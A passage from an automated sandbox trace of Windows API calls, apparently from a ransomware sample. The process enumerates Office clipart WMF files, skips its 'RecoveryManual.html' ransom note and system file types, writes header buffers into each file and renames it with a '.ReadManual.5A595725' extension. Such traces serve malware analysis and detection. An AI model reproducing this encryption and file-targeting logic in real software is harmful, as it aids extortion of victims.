dwMaximumSizeLow=0x899c, lpName=0x0) returned 0x184 [0268.847] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.850] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.850] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.852] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.852] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x899c) returned 0x2f0000 [0268.853] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.853] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38952215848) returned 1 [0268.853] CloseHandle (hObject=0x184) returned 1 [0268.853] SetSecurityInfo () returned 0x57 [0268.854] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.854] CloseHandle (hObject=0x194) returned 1 [0268.854] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e804d00, ftCreationTime.dwHighDateTime=0x1be05ef, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e804d00, ftLastWriteTime.dwHighDateTime=0x1be05ef, nFileSizeHigh=0x0, nFileSizeLow=0x4de6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0232803.WMF", cAlternateFileName="")) returned 1 [0268.854] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0232803.WMF" | out: lpString1="J0232803.WMF") returned="J0232803.WMF" [0268.854] lstrcmpiW (lpString1="J0232803.WMF", lpString2="RecoveryManual.html") returned -1 [0268.854] StrStrIW (lpFirst="J0232803.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.854] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.854] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.854] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" [0268.854] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.ReadManual.5A595725" [0268.854] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF.ReadManual.5A595725") returned 87 [0268.854] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38952317277) returned 1 [0268.854] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf")) returned 0x20 [0268.855] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232803.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232803.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.855] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19942) returned 1 [0268.856] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4de6, lpName=0x0) returned 0x184 [0268.856] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.856] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.856] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.858] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.859] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4de6) returned 0x2f0000 [0268.859] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.859] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38952775865) returned 1 [0268.859] CloseHandle (hObject=0x184) returned 1 [0268.859] SetSecurityInfo () returned 0x57 [0268.859] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.859] CloseHandle (hObject=0x194) returned 1 [0268.859] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0233512.WMF", cAlternateFileName="")) returned 1 [0268.859] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0233512.WMF" | out: lpString1="J0233512.WMF") returned="J0233512.WMF" [0268.859] lstrcmpiW (lpString1="J0233512.WMF", lpString2="RecoveryManual.html") returned -1 [0268.859] StrStrIW (lpFirst="J0233512.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.859] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.859] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.860] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.860] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" [0268.860] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.ReadManual.5A595725" [0268.860] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.ReadManual.5A595725") returned 87 [0268.860] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38952874788) returned 1 [0268.860] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf")) returned 0x20 [0268.860] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.861] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9960) returned 1 [0268.861] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26e8, lpName=0x0) returned 0x184 [0268.861] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.861] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.861] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.863] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.863] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26e8) returned 0x2f0000 [0268.863] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.863] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38953226231) returned 1 [0268.864] CloseHandle (hObject=0x184) returned 1 [0268.864] SetSecurityInfo () returned 0x57 [0268.864] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.864] CloseHandle (hObject=0x194) returned 1 [0268.864] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0268.864] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0233665.WMF" | out: lpString1="J0233665.WMF") returned="J0233665.WMF" [0268.864] lstrcmpiW (lpString1="J0233665.WMF", lpString2="RecoveryManual.html") returned -1 [0268.864] StrStrIW (lpFirst="J0233665.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.864] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.864] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.864] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" [0268.864] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.ReadManual.5A595725" [0268.864] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.ReadManual.5A595725") returned 87 [0268.864] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38953327170) returned 1 [0268.865] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf")) returned 0x20 [0268.865] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.866] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12588) returned 1 [0268.866] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x312c, lpName=0x0) returned 0x184 [0268.866] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.866] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.866] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.868] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.868] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x312c) returned 0x2f0000 [0268.869] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.869] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38953749223) returned 1 [0268.869] CloseHandle (hObject=0x184) returned 1 [0268.869] SetSecurityInfo () returned 0x57 [0268.869] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.869] CloseHandle (hObject=0x194) returned 1 [0268.869] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0268.869] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0233992.WMF" | out: lpString1="J0233992.WMF") returned="J0233992.WMF" [0268.869] lstrcmpiW (lpString1="J0233992.WMF", lpString2="RecoveryManual.html") returned -1 [0268.869] StrStrIW (lpFirst="J0233992.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.869] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.869] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.870] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.870] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.870] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" [0268.870] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.ReadManual.5A595725" [0268.870] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.ReadManual.5A595725") returned 87 [0268.870] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38953846976) returned 1 [0268.870] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf")) returned 0x20 [0268.870] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.870] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=38750) returned 1 [0268.870] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x975e, lpName=0x0) returned 0x184 [0268.870] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.871] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.871] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.873] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.873] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x975e) returned 0x2f0000 [0268.874] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.875] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38954339458) returned 1 [0268.875] CloseHandle (hObject=0x184) returned 1 [0268.875] SetSecurityInfo () returned 0x57 [0268.875] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.875] CloseHandle (hObject=0x194) returned 1 [0268.875] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0268.875] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0234000.WMF" | out: lpString1="J0234000.WMF") returned="J0234000.WMF" [0268.875] lstrcmpiW (lpString1="J0234000.WMF", lpString2="RecoveryManual.html") returned -1 [0268.875] StrStrIW (lpFirst="J0234000.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.875] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.875] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.875] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" [0268.876] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.ReadManual.5A595725" [0268.876] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.ReadManual.5A595725") returned 87 [0268.876] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38954434884) returned 1 [0268.876] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf")) returned 0x20 [0268.876] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.876] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=52934) returned 1 [0268.876] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcec6, lpName=0x0) returned 0x184 [0268.876] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.877] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.877] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.879] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.879] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcec6) returned 0x2f0000 [0268.880] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.881] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38954936389) returned 1 [0268.881] CloseHandle (hObject=0x184) returned 1 [0268.881] SetSecurityInfo () returned 0x57 [0268.881] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.881] CloseHandle (hObject=0x194) returned 1 [0268.881] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, 